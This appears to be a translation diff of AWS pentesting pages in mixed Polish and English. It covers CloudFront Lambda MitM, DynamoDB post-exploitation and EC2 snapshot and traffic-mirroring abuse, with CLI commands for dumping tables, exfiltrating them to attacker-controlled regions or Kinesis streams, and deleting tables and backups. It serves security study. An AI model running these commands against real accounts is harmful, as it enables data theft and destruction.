-This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) opisuje kilka różnych scenariuszy, w których **Lambda** może zostać dodana (lub zmodyfikowana jeśli już jest używana) do **komunikacji przez CloudFront** w celu **kradzieży** informacji użytkownika (np. sesyjnego **cookie**) oraz **modyfikacji** **response** (wstrzyknięcie złośliwego skryptu JS).
+Ten [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proponuje kilka różnych scenariuszy, w których **Lambda** może zostać dodana (lub zmodyfikowana, jeśli już jest używana) do **komunikacji przez CloudFront** w celu **wykradzenia** informacji użytkownika (np. ciasteczka sesji **cookie**) oraz **zmodyfikowania** **odpowiedzi** (wstrzyknięcie złośliwego skryptu JS).

-#### scenariusz 1: MitM gdzie CloudFront jest skonfigurowany do pobierania HTML z bucketu
+#### scenariusz 1: MitM gdzie CloudFront jest skonfigurowany do dostępu do HTML w bucket

- **Utwórz** złośliwą **function**.
+- **Utwórz** złośliwą **funkcję**.
 - **Powiąż** ją z dystrybucją CloudFront.
 - Ustaw **event type to "Viewer Response"**.

-Uzyskując dostęp do response możesz ukraść cookie użytkownika i wstrzyknąć złośliwy JS.
+Uzyskując dostęp do odpowiedzi możesz wykradać cookie użytkownika i wstrzykiwać złośliwy skrypt JS.

 #### scenariusz 2: MitM gdzie CloudFront już używa funkcji Lambda

- **Zmodyfikuj kod** funkcji Lambda, aby wykraść wrażliwe informacje
+- **Zmodyfikuj kod** funkcji Lambda, aby wykradać wrażliwe informacje

 Możesz sprawdzić [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).

@@ -4,7 +4,7 @@

 ## DynamoDB

-Aby uzyskać więcej informacji, zobacz:
+For more information check:

 {{#ref}}
 ../../aws-services/aws-dynamodb-enum.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, zobacz:

 ### `dynamodb:BatchGetItem`

-Atakujący z tym uprawnieniem będzie mógł **pobrać elementy z tabel po kluczu głównym** (nie można po prostu zażądać wszystkich danych z tabeli). Oznacza to, że musisz znać klucze główne (możesz je uzyskać, pobierając metadane tabeli (`describe-table`).
+Attacker z tymi uprawnieniami będzie w stanie **pobrać elementy z tabel według primary key** (nie możesz po prostu zażądać wszystkich danych z tabeli). Oznacza to, że musisz znać primary keys (możesz je poznać, pobierając metadane tabeli (`describe-table`)).

 {{#tabs }}
 {{#tab name="json file" }}
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
 {{#endtab }}
 {{#endtabs }}

-**Potential Impact:** Pośrednie privesc poprzez zlokalizowanie wrażliwych informacji w tabeli
+**Potencjalny wpływ:** Pośredni privesc przez zlokalizowanie wrażliwych informacji w tabeli

 ### `dynamodb:GetItem`

-**Podobnie jak poprzednie uprawnienia** to uprawnienie pozwala potencjalnemu atakującemu odczytać wartości z zaledwie 1 tabeli, mając klucz główny rekordu do pobrania:
+**Podobnie jak poprzednie uprawnienia** to pozwala potencjalnemu atakującemu odczytać wartości z jednej tabeli, znając klucz główny wpisu do pobrania:
 ```json
 aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
 }
 ]
 ```
-**Potential Impact:** Pośrednie privesc poprzez odnalezienie wrażliwych informacji w tabeli
+**Potencjalny wpływ:** Pośredni privesc przez zlokalizowanie wrażliwych informacji w tabeli

 ### `dynamodb:Query`

-**Podobnie jak poprzednie uprawnienia** to uprawnienie umożliwia potencjalnemu atakującemu odczyt wartości jedynie z 1 tabeli, podając klucz główny wpisu do pobrania. Pozwala użyć [podzbioru porównań](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ale jedynym porównaniem dozwolonym dla klucza głównego (który musi się pojawić) jest "EQ", więc nie możesz użyć porównania, aby pobrać całą bazę danych w jednym żądaniu.
+**Podobnie jak poprzednie uprawnienia** to pozwala potencjalnemu atakującemu odczytać wartości tylko z 1 tabeli, jeśli zna klucz podstawowy wpisu do pobrania. Pozwala użyć [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ale jedynym porównaniem dozwolonym z kluczem podstawowym (który musi się pojawić) jest "EQ", więc nie można użyć porównania, aby pobrać całą bazę danych w jednym żądaniu.

 {{#tabs }}
 {{#tab name="json file" }}
@@ -107,11 +107,11 @@ aws dynamodb query \
 {{#endtab }}
 {{#endtabs }}

-**Potencjalny wpływ:** Pośredni privesc poprzez zlokalizowanie wrażliwych informacji w tabeli
+**Potencjalny wpływ:** Indirect privesc poprzez zlokalizowanie wrażliwych informacji w tabeli

 ### `dynamodb:Scan`

-Możesz użyć tego uprawnienia, aby **dump the entire table easily**.
+Możesz użyć tego uprawnienia, aby **łatwo zrzucić całą tabelę**.
 ```bash
 aws dynamodb scan --table-name <t_name> #Get data inside the table
 ```
@@ -124,18 +124,18 @@ Możesz użyć tego uprawnienia, aby **dump the entire table easily**.
 aws dynamodb execute-statement \
 --statement "SELECT * FROM ProductCatalog"
 ```
-To uprawnienie pozwala również wykonać `batch-execute-statement`, na przykład:
+To uprawnienie pozwala również na wykonanie `batch-execute-statement` w następujący sposób:
 ```bash
 aws dynamodb batch-execute-statement \
 --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
 ```
-ale musisz podać wartość klucza głównego, więc nie jest to zbyt użyteczne.
+ale musisz określić klucz główny z wartością, więc nie jest to zbyt użyteczne.

-**Potencjalny wpływ:** Indirect privesc poprzez zlokalizowanie wrażliwych informacji w tabeli
+**Potencjalny wpływ:** Pośrednie privesc poprzez zlokalizowanie wrażliwych informacji w tabeli

 ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`

-To uprawnienie pozwoli atakującemu na **wyeksportowanie całej tabeli do wybranego przez niego bucketu S3**:
+To uprawnienie pozwoli attackerowi na **wyeksportowanie całej tabeli do S3 bucket** według jego wyboru:
 ```bash
 aws dynamodb export-table-to-point-in-time \
 --table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
@@ -144,33 +144,33 @@ aws dynamodb export-table-to-point-in-time \
 --export-time <point_in_time> \
 --region <region>
 ```
-Zwróć uwagę, że aby to zadziałało, tabela musi mieć włączone point-in-time-recovery; możesz sprawdzić, czy tabela ma to włączone za pomocą:
+Zauważ, że aby to zadziałało, tabela musi mieć włączone point-in-time-recovery, możesz sprawdzić, czy tabela ją ma za pomocą:
 ```bash
 aws dynamodb describe-continuous-backups \
 --table-name <tablename>
 ```
-Jeśli nie jest włączone, będziesz musiał je **włączyć**, a do tego potrzebujesz uprawnienia **`dynamodb:ExportTableToPointInTime`**:
+Jeśli nie jest włączone, musisz je **włączyć**, a do tego potrzebujesz uprawnienia **`dynamodb:ExportTableToPointInTime`**:
 ```bash
 aws dynamodb update-continuous-backups \
 --table-name <value> \
 --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
 ```
-**Potencjalny wpływ:** Pośrednie privesc przez zlokalizowanie wrażliwych informacji w tabeli
+**Potencjalny wpływ:** Pośredni privesc poprzez odnalezienie w tabeli wrażliwych informacji

-### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
+### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` 

-Przy tych uprawnieniach atakujący będzie w stanie **utworzyć nową tabelę z kopii zapasowej** (a nawet utworzyć kopię zapasową, aby następnie przywrócić ją do innej tabeli). Następnie, przy odpowiednich uprawnieniach, będzie mógł sprawdzić **informacje** z kopii zapasowych, które **nie znajdują się już w tabeli produkcyjnej**.
+Dysponując tymi uprawnieniami, atakujący mógłby **utworzyć nową tabelę z kopii zapasowej** (a nawet utworzyć kopię zapasową, aby następnie przywrócić ją w innej tabeli). Następnie, mając niezbędne uprawnienia, mógłby sprawdzić **informacje** z kopii zapasowych, które **nie były już dostępne w tabeli produkcyjnej**.
 ```bash
 aws dynamodb restore-table-from-backup \
 --backup-arn <source-backup-arn> \
 --target-table-name <new-table-name> \
 --region <region>
 ```
-**Potencjalny wpływ:** Pośrednie privesc poprzez zlokalizowanie wrażliwych informacji w kopii zapasowej tabeli
+**Potencjalny wpływ:** Pośrednia privesc przez zlokalizowanie wrażliwych informacji w kopii zapasowej tabeli

 ### `dynamodb:PutItem`

-To uprawnienie pozwala użytkownikom na dodanie **nowego elementu do tabeli lub zastąpienie istniejącego elementu** nowym elementem. Jeśli element z tym samym kluczem podstawowym już istnieje, **cały element zostanie zastąpiony** nowym elementem. Jeśli klucz podstawowy nie istnieje, zostanie **utworzony** nowy element o określonym kluczu podstawowym.
+To uprawnienie pozwala użytkownikom dodać **nowy item do tabeli lub zastąpić istniejący item** nowym itemem. Jeśli item o tym samym kluczu głównym już istnieje, **cały item zostanie zastąpiony** nowym itemem. Jeśli klucz główny nie istnieje, nowy item z określonym kluczem głównym zostanie **utworzony**.

 {{#tabs }}
 {{#tab name="XSS Example" }}
@@ -202,11 +202,11 @@ aws dynamodb put-item \
 {{#endtab }}
 {{#endtabs }}

-Potencjalny wpływ: Exploitation of further vulnerabilities/bypasses poprzez możliwość dodawania/modyfikowania danych w tabeli DynamoDB
+**Potencjalny wpływ:** Wykorzystanie dalszych podatności/bypasses przez możliwość dodawania/modyfikowania danych w tabeli DynamoDB

 ### `dynamodb:UpdateItem`

-To uprawnienie pozwala użytkownikom na **modyfikowanie istniejących atrybutów elementu lub dodawanie nowych atrybutów do elementu**. Nie **zastępuje** całego elementu; aktualizuje tylko określone atrybuty. Jeśli klucz główny nie istnieje w tabeli, operacja **utworzy nowy element** z określonym kluczem głównym i ustawi atrybuty określone w wyrażeniu aktualizacji.
+To uprawnienie pozwala użytkownikom **modyfikować istniejące atrybuty elementu lub dodać nowe atrybuty do elementu**. Nie **zastępuje** całego elementu; aktualizuje tylko określone atrybuty. Jeśli klucz główny nie istnieje w tabeli, operacja **utworzy nowy element** z określonym kluczem głównym i ustawi atrybuty określone w wyrażeniu aktualizacji.

 {{#tabs }}
 {{#tab name="XSS Example" }}
@@ -242,36 +242,36 @@ aws dynamodb update-item \
 {{#endtab }}
 {{#endtabs }}

-**Potencjalny wpływ:** Wykorzystanie dalszych podatności/bypasses przez możliwość dodawania/modyfikowania danych w tabeli DynamoDB
+**Potencjalny wpływ:** Wykorzystanie dalszych vulnerabilities/bypasses poprzez możliwość dodawania/modyfikowania danych w tabeli DynamoDB

 ### `dynamodb:DeleteTable`

-Atakujący z tym uprawnieniem może **usunąć tabelę DynamoDB, powodując utratę danych**.
+An attacker z tym uprawnieniem może **usunąć tabelę DynamoDB, powodując utratę danych**
 ```bash
 aws dynamodb delete-table \
 --table-name TargetTable \
 --region <region>
 ```
-**Potencjalny wpływ**: Utrata danych i zakłócenie usług korzystających z usuniętej tabeli.
+**Potencjalny wpływ**: Utrata danych oraz zakłócenia usług zależnych od usuniętej tabeli.

 ### `dynamodb:DeleteBackup`

-Atakujący z tym uprawnieniem może **usunąć kopię zapasową DynamoDB, co może spowodować utratę danych w scenariuszu odtwarzania po awarii**.
+Atakujący posiadający to uprawnienie może **usunąć kopię zapasową DynamoDB, potencjalnie powodując utratę danych w przypadku scenariusza odzyskiwania po awarii**.
 ```bash
 aws dynamodb delete-backup \
 --backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
 --region <region>
 ```
-**Potencjalny wpływ**: Utrata danych i niemożność odzyskania danych z kopii zapasowej podczas scenariusza odzyskiwania po awarii.
+**Potencjalny wpływ**: Utrata danych i niemożność przywrócenia z kopii zapasowej podczas scenariusza disaster recovery.

 ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`

 > [!NOTE]
 > TODO: Przetestować, czy to faktycznie działa

-Atakujący posiadający te uprawnienia może **włączyć stream dla tabeli DynamoDB, zaktualizować tabelę, aby rozpocząć przesyłanie zmian, a następnie uzyskać dostęp do streamu i monitorować zmiany w tabeli w czasie rzeczywistym**. Pozwala to atakującemu monitorować i exfiltrate zmiany danych, co może prowadzić do data leakage.
+Atakujący posiadający te uprawnienia może **włączyć stream na tabeli DynamoDB, zaktualizować tabelę, aby rozpocząć przesyłanie zmian, a następnie uzyskać dostęp do streama w celu monitorowania zmian w tabeli w czasie rzeczywistym**. Pozwala to atakującemu monitorować i exfiltrate zmiany danych, co potencjalnie może prowadzić do data leakage.

-1. Włącz stream dla tabeli DynamoDB:
+1. Włącz stream na tabeli DynamoDB:
 ```bash
 aws dynamodb update-table \
 --table-name TargetTable \
@@ -284,7 +284,7 @@ aws dynamodb describe-stream \
 --table-name TargetTable \
 --region <region>
 ```
-3. Pobierz iterator shardu używając stream ARN:
+3. Pobierz shard iterator, używając stream ARN:
 ```bash
 aws dynamodbstreams get-shard-iterator \
 --stream-arn <stream_arn> \
@@ -292,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \
 --shard-iterator-type LATEST \
 --region <region>
 ```
-4. Użyj shard iterator, aby uzyskać dostęp i exfiltrate dane ze strumienia:
+Użyj shard iterator, aby uzyskać dostęp do strumienia i exfiltrate danych:
 ```bash
 aws dynamodbstreams get-records \
 --shard-iterator <shard_iterator> \
 --region <region>
 ```
-**Potencjalny wpływ**: Real-time monitoring and data leakage of the DynamoDB table's changes.
+**Potential impact**: Monitorowanie w czasie rzeczywistym i ujawnianie danych dotyczących zmian w tabeli DynamoDB.

-### Odczyt elementów za pomocą `dynamodb:UpdateItem` i `ReturnValues=ALL_OLD`
+### Read items via `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD`

-Atakujący mający jedynie `dynamodb:UpdateItem` na tabeli może odczytać elementy bez żadnych typowych uprawnień do odczytu (`GetItem`/`Query`/`Scan`) poprzez wykonanie nieszkodliwej aktualizacji i żądanie `--return-values ALL_OLD`. DynamoDB zwróci pełny obraz elementu sprzed aktualizacji w polu `Attributes` odpowiedzi (to nie zużywa RCUs).
+Atakujący z jedynie `dynamodb:UpdateItem` na tabeli może odczytywać elementy bez zwykłych uprawnień do odczytu (`GetItem`/`Query`/`Scan`) poprzez wykonanie nieszkodliwej aktualizacji i zażądanie `--return-values ALL_OLD`. DynamoDB zwróci pełny obraz elementu sprzed aktualizacji w polu `Attributes` odpowiedzi (to nie zużywa RCUs).

 - Minimalne uprawnienia: `dynamodb:UpdateItem` na docelowej tabeli/kluczu.
- Wymagania wstępne: Musisz znać klucz główny elementu.
+- Wymagania wstępne: Musisz znać klucz podstawowy elementu.

-Przykład (adds a harmless attribute and exfiltrates the previous item in the response):
+Przykład (dodaje nieszkodliwy atrybut i exfiltrates poprzedni element w odpowiedzi):
 ```bash
 aws dynamodb update-item \
 --table-name <TargetTable> \
@@ -318,14 +318,14 @@ aws dynamodb update-item \
 --return-values ALL_OLD \
 --region <region>
 ```
-Odpowiedź CLI będzie zawierać blok `Attributes` zawierający kompletny poprzedni element (wszystkie atrybuty), co w praktyce daje możliwość odczytu z dostępu tylko do zapisu.
+Odpowiedź CLI będzie zawierać blok `Attributes` zawierający kompletny poprzedni item (wszystkie atrybuty), co w praktyce daje prymityw odczytu mając jedynie dostęp tylko do zapisu.

-**Potencjalny wpływ:** Odczyt dowolnych elementów z tabeli mając jedynie uprawnienia do zapisu, umożliwiający exfiltration wrażliwych danych, jeśli znane są klucze główne.
+**Potencjalny wpływ:** Odczyt dowolnych elementów z tabeli mając jedynie uprawnienia do zapisu, umożliwiający exfiltration wrażliwych danych, gdy znane są klucze główne.


 ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`

-Stealth exfiltration poprzez dodanie nowej regionalnej repliki do DynamoDB Global Table (version 2019.11.21). Jeśli principal może dodać regionalną replikę, cała tabela zostanie zreplikowana do Regionu wybranego przez atakującego, skąd atakujący może odczytać wszystkie elementy.
+Stealth exfiltration poprzez dodanie nowego replica Region do DynamoDB Global Table (version 2019.11.21). Jeśli principal może dodać regionalną replikę, cała tabela zostaje zreplikowana do Regionu wybranego przez attacker, skąd attacker może odczytać wszystkie elementy.

 {{#tabs }}
 {{#tab name="PoC (default DynamoDB-managed KMS)" }}
@@ -354,13 +354,13 @@ aws dynamodb update-table \
 {{#endtab }}
 {{#endtabs }}

-Uprawnienia: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` on the target table. If CMK is used in the replica, KMS permissions for that key may be required.
+Uprawnienia: `dynamodb:UpdateTable` (z `replica-updates`) lub `dynamodb:CreateTableReplica` na docelowej tabeli. Jeśli w replice użyto CMK, mogą być wymagane uprawnienia KMS do tego klucza.

-Potencjalny wpływ: Replikacja całej tabeli do regionu kontrolowanego przez atakującego, prowadząca do ukrytej eksfiltracji danych.
+Potencjalny wpływ: Replikacja całej tabeli do Regionu kontrolowanego przez atakującego, prowadząca do ukrytej eksfiltracji danych.

-### `dynamodb:TransactWriteItems` (odczyt przez nieudaną `ConditionExpression` + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
+### `dynamodb:TransactWriteItems` (odczyt przez nieudaną ConditionExpression + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)

-Atakujący z uprawnieniami do zapisu w transakcjach może eksfiltrować pełne atrybuty istniejącego elementu, wykonując `Update` wewnątrz `TransactWriteItems`, które celowo powoduje niepowodzenie `ConditionExpression` przy ustawieniu `ReturnValuesOnConditionCheckFailure=ALL_OLD`. W razie niepowodzenia DynamoDB dołącza poprzednie atrybuty do powodów anulowania transakcji, efektywnie zamieniając dostęp tylko do zapisu w dostęp do odczytu docelowych kluczy.
+Atakujący z uprawnieniami do transakcyjnych zapisów może eksfiltrować pełne atrybuty istniejącego elementu wykonując `Update` wewnątrz `TransactWriteItems`, który celowo powoduje niepowodzenie `ConditionExpression`, ustawiając jednocześnie `ReturnValuesOnConditionCheckFailure=ALL_OLD`. W razie niepowodzenia DynamoDB umieszcza wcześniejsze atrybuty w powodach anulowania transakcji, co w praktyce zamienia dostęp tylko do zapisu w dostęp do odczytu wybranych kluczy.

 {{#tabs }}
 {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
@@ -409,19 +409,19 @@ print(e.response['CancellationReasons'][0]['Item'])
 {{#endtab }}
 {{#endtabs }}

-Uprawnienia: `dynamodb:TransactWriteItems` on the target table (and the underlying item). No read permissions are required.
+Uprawnienia: `dynamodb:TransactWriteItems` na docelowej tabeli (i na powiązanym elemencie). Uprawnienia do odczytu nie są wymagane.

-Potencjalny wpływ: Odczyt dowolnych elementów (po kluczu głównym) z tabeli używając jedynie uprawnień do zapisu transakcyjnego poprzez zwracane powody anulowania.
+Potencjalny wpływ: Odczyt dowolnych elementów (po kluczu głównym) z tabeli, używając jedynie uprawnień do zapisu transakcyjnego, poprzez zwracane powody anulowania.


 ### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` na GSI

-Obejście ograniczeń odczytu przez utworzenie Global Secondary Index (GSI) z `ProjectionType=ALL` na atrybucie o niskiej entropii, ustawienie tego atrybutu na stałą wartość we wszystkich elementach, a następnie `Query` indeksu, aby pobrać pełne elementy. Działa to nawet jeśli `Query`/`Scan` na tabeli bazowej jest odrzucone, o ile możesz wykonać zapytanie do ARN indeksu.
+Omijanie ograniczeń odczytu przez stworzenie Global Secondary Index (GSI) z `ProjectionType=ALL` na atrybucie o niskiej entropii, ustawienie tego atrybutu na stałą wartość we wszystkich elementach, a następnie `Query` indeksu, aby pobrać pełne elementy. Działa to nawet jeśli `Query`/`Scan` na tabeli bazowej jest zabronione, o ile możesz zapytać ARN indeksu.

 - Minimalne uprawnienia:
- `dynamodb:UpdateTable` on the target table (to create the GSI with `ProjectionType=ALL`).
- `dynamodb:UpdateItem` on the target table keys (to set the indexed attribute on each item).
- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
+- `dynamodb:UpdateTable` na docelowej tabeli (do utworzenia GSI z `ProjectionType=ALL`).
+- `dynamodb:UpdateItem` na kluczach tabeli docelowej (aby ustawić indeksowany atrybut dla każdego elementu).
+- `dynamodb:Query` na ARN zasobu indeksu (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).

 Kroki (PoC w us-east-1):
 ```bash
@@ -461,17 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
 --expression-attribute-values '{":v":{"S":"dump"}}' \
 --region us-east-1
 ```
-**Potencjalny wpływ:** Full table exfiltration przez zapytanie do nowo utworzonego GSI, który projektuje wszystkie atrybuty, nawet gdy base table read APIs są zablokowane.
+**Potencjalny wpływ:** Pełna eksfiltracja tabeli poprzez zapytania do nowo utworzonego GSI, który zwraca wszystkie atrybuty, nawet gdy podstawowe API odczytu tabeli są odmówione.


 ### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)

-Wykorzystywanie DynamoDB Kinesis streaming destinations do ciągłego exfiltrate zmian z tabeli do kontrolowanego przez atakującego Kinesis Data Stream. Po włączeniu każde zdarzenie INSERT/MODIFY/REMOVE jest przekazywane niemal w czasie rzeczywistym do streamu bez potrzeby uprawnień odczytu na tabeli.
+Wykorzystywanie DynamoDB Kinesis streaming destinations do ciągłego exfiltrate zmian z tabeli do kontrolowanego przez atakującego Kinesis Data Stream. Po włączeniu każde zdarzenie INSERT/MODIFY/REMOVE jest przekazywane niemal w czasie rzeczywistym do strumienia bez konieczności posiadania uprawnień do odczytu tabeli.

 Minimalne uprawnienia (atakujący):
- `dynamodb:EnableKinesisStreamingDestination` na docelowej tabeli
- Opcjonalnie `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` do monitorowania statusu
- Uprawnienia odczytu na należącym do atakującego Kinesis streamie, aby konsumować rekordy: `kinesis:*`
+- `dynamodb:EnableKinesisStreamingDestination` on the target table
+- Optionally `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` to monitor status
+- Read permissions on the attacker-owned Kinesis stream to consume records: `kinesis:*`

 <details>
 <summary>PoC (us-east-1)</summary>
@@ -530,17 +530,17 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
 ```
 ### `dynamodb:UpdateTimeToLive`

-Atakujący posiadający uprawnienie dynamodb:UpdateTimeToLive może zmienić konfigurację TTL (time-to-live) tabeli — włączyć lub wyłączyć TTL. Gdy TTL jest włączone, poszczególne elementy zawierające skonfigurowany atrybut TTL zostaną automatycznie usunięte po osiągnięciu czasu wygaśnięcia. Wartość TTL jest po prostu kolejnym atrybutem każdego elementu; elementy bez tego atrybutu nie są objęte usuwaniem opartym na TTL.
+Atakujący posiadający uprawnienie dynamodb:UpdateTimeToLive może zmienić konfigurację TTL (time-to-live) tabeli — włączyć lub wyłączyć TTL. Gdy TTL jest włączone, poszczególne elementy, które zawierają skonfigurowany atrybut TTL, zostaną automatycznie usunięte po osiągnięciu czasu wygaśnięcia. Wartość TTL jest po prostu kolejnym atrybutem każdego elementu; elementy bez tego atrybutu nie są objęte usuwaniem opartym na TTL.

-Jeśli elementy nie zawierają jeszcze atrybutu TTL, atakujący potrzebowałby również uprawnienia do aktualizowania elementów (na przykład dynamodb:UpdateItem), aby dodać atrybut TTL i wywołać masowe usuwanie.
+Jeśli elementy nie zawierają już atrybutu TTL, atakujący potrzebowałby również uprawnienia do aktualizacji elementów (na przykład dynamodb:UpdateItem), aby dodać atrybut TTL i spowodować masowe usunięcia.

-Najpierw włącz TTL dla tabeli, określając nazwę atrybutu używaną jako pole wygaśnięcia:
+Najpierw włącz TTL na tabeli, określając nazwę atrybutu, która ma być używana do określania czasu wygaśnięcia:
 ```bash
 aws dynamodb update-time-to-live \
 --table-name <TABLE_NAME> \
 --time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"
 ```
-Następnie zaktualizuj elementy, aby dodać atrybut TTL (epoch seconds), aby wygasły i zostały usunięte:
+Następnie zaktualizuj elementy, aby dodać atrybut TTL (epoch seconds), dzięki czemu wygasną i zostaną usunięte:
 ```bash
 aws dynamodb update-item \
 --table-name <TABLE_NAME> \
@@ -550,7 +550,7 @@ aws dynamodb update-item \
 ```
 ### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime`

-Atakujący posiadający uprawnienia `dynamodb:RestoreTableFromAwsBackup` lub `dynamodb:RestoreTableToPointInTime` może tworzyć nowe tabele przywrócone z kopii zapasowych lub z point-in-time recovery (PITR) bez nadpisywania oryginalnej tabeli. Przywrócona tabela zawiera pełny obraz danych z wybranego punktu, więc atakujący może jej użyć do eksfiltracji informacji historycznych lub uzyskania kompletnego zrzutu poprzedniego stanu bazy danych.
+Atakujący posiadający uprawnienia `dynamodb:RestoreTableFromAwsBackup` lub `dynamodb:RestoreTableToPointInTime` może tworzyć nowe tabele przywrócone z kopii zapasowych lub z point-in-time recovery (PITR) bez nadpisywania oryginalnej tabeli. Przywrócona tabela zawiera pełny obraz danych z wybranego punktu, więc atakujący może go użyć do exfiltrate informacji historycznych lub uzyskać complete dump poprzedniego stanu bazy danych.

 Przywróć tabelę DynamoDB z kopii zapasowej na żądanie:
 ```bash
@@ -558,7 +558,7 @@ aws dynamodb restore-table-from-backup \
 --target-table-name <NEW_TABLE_NAME> \
 --backup-arn <BACKUP_ARN>
 ```
-Przywróć tabelę DynamoDB do punktu w czasie (utwórz nową tabelę ze stanem przywróconym):
+Przywróć tabelę DynamoDB do określonego punktu w czasie (utwórz nową tabelę z przywróconym stanem):
 ```bash
 aws dynamodb restore-table-to-point-in-time \
 --source-table-name <SOURCE_TABLE_NAME> \
@@ -567,7 +567,7 @@ aws dynamodb restore-table-to-point-in-time \
 ````
 </details>

-**Potencjalny wpływ:** Ciągła, niemal w czasie rzeczywistym eksfiltracja zmian w tabeli do strumienia Kinesis kontrolowanego przez atakującego bez bezpośrednich operacji odczytu na tabeli.
+**Potencjalny wpływ:** Ciągła, niemal w czasie rzeczywistym eksfiltracja zmian w tabeli do kontrolowanego przez atakującego strumienia Kinesis bez wykonywania bezpośrednich operacji odczytu na tabeli.



@@ -4,7 +4,7 @@

 ## EC2 & VPC

-Więcej informacji:
+Aby uzyskać więcej informacji, zobacz:

 {{#ref}}
 ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,10 +12,10 @@ Więcej informacji:

 ### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`

-VPC traffic mirroring **duplikuje ruch przychodzący i wychodzący dla instancji EC2 w ramach VPC** bez potrzeby instalowania czegokolwiek na samych instancjach. Taki zduplikowany ruch jest zwykle wysyłany do systemu wykrywania włamań sieciowych (IDS) w celu analizy i monitorowania.\
-Atakujący mógłby to wykorzystać do przechwycenia całego ruchu i uzyskania z niego wrażliwych informacji:
+VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** bez potrzeby instalowania czegokolwiek na samych instancjach. Ten zduplikowany ruch zazwyczaj jest wysyłany do czegoś w rodzaju network intrusion detection system (IDS) w celu analizy i monitoringu.\
+Atakujący mógłby to wykorzystać, aby przechwycić cały ruch i uzyskać z niego wrażliwe informacje:

-Więcej informacji na tej stronie:
+For more information check this page:

 {{#ref}}
 aws-malicious-vpc-mirror.md
@@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md

 ### Copy Running Instance

-Instancje zazwyczaj zawierają pewne wrażliwe informacje. Istnieją różne sposoby, aby się na nie dostać (zobacz [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Innym sposobem sprawdzenia, co zawiera, jest **utworzenie AMI i uruchomienie nowej instancji (nawet w ramach własnego konta) na jej podstawie**:
+Instancje zwykle zawierają pewnego rodzaju wrażliwe informacje. Istnieją różne sposoby, by uzyskać dostęp (zobacz [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Jednak innym sposobem, aby sprawdzić, co zawiera, jest **utworzenie AMI i uruchomienie z niej nowej instancji (nawet w swoim własnym koncie)**:
 ```shell
 # List instances
 aws ec2 describe-images
@@ -47,10 +47,10 @@ aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "
 aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
 aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
 ```
-### EBS Snapshot dump
+### Zrzut EBS Snapshot

-**Snapshots are backups of volumes**, które zazwyczaj zawierają **wrażliwe informacje**, dlatego ich sprawdzenie powinno je ujawnić.\
-Jeśli znajdziesz **volume without a snapshot** możesz: **Create a snapshot** i wykonać poniższe czynności lub po prostu **mount it in an instance** w obrębie konta:
+**Snapshots are backups of volumes**, które zazwyczaj będą zawierać **wrażliwe informacje**, dlatego ich sprawdzenie powinno ujawnić te dane.\
+Jeśli znajdziesz a **volume without a snapshot** możesz: **Create a snapshot** i wykonać poniższe czynności lub po prostu **mount it in an instance** w ramach konta:

 {{#ref}}
 aws-ebs-snapshot-dump.md
@@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md

 ### Covert Disk Exfiltration via AMI Store-to-S3

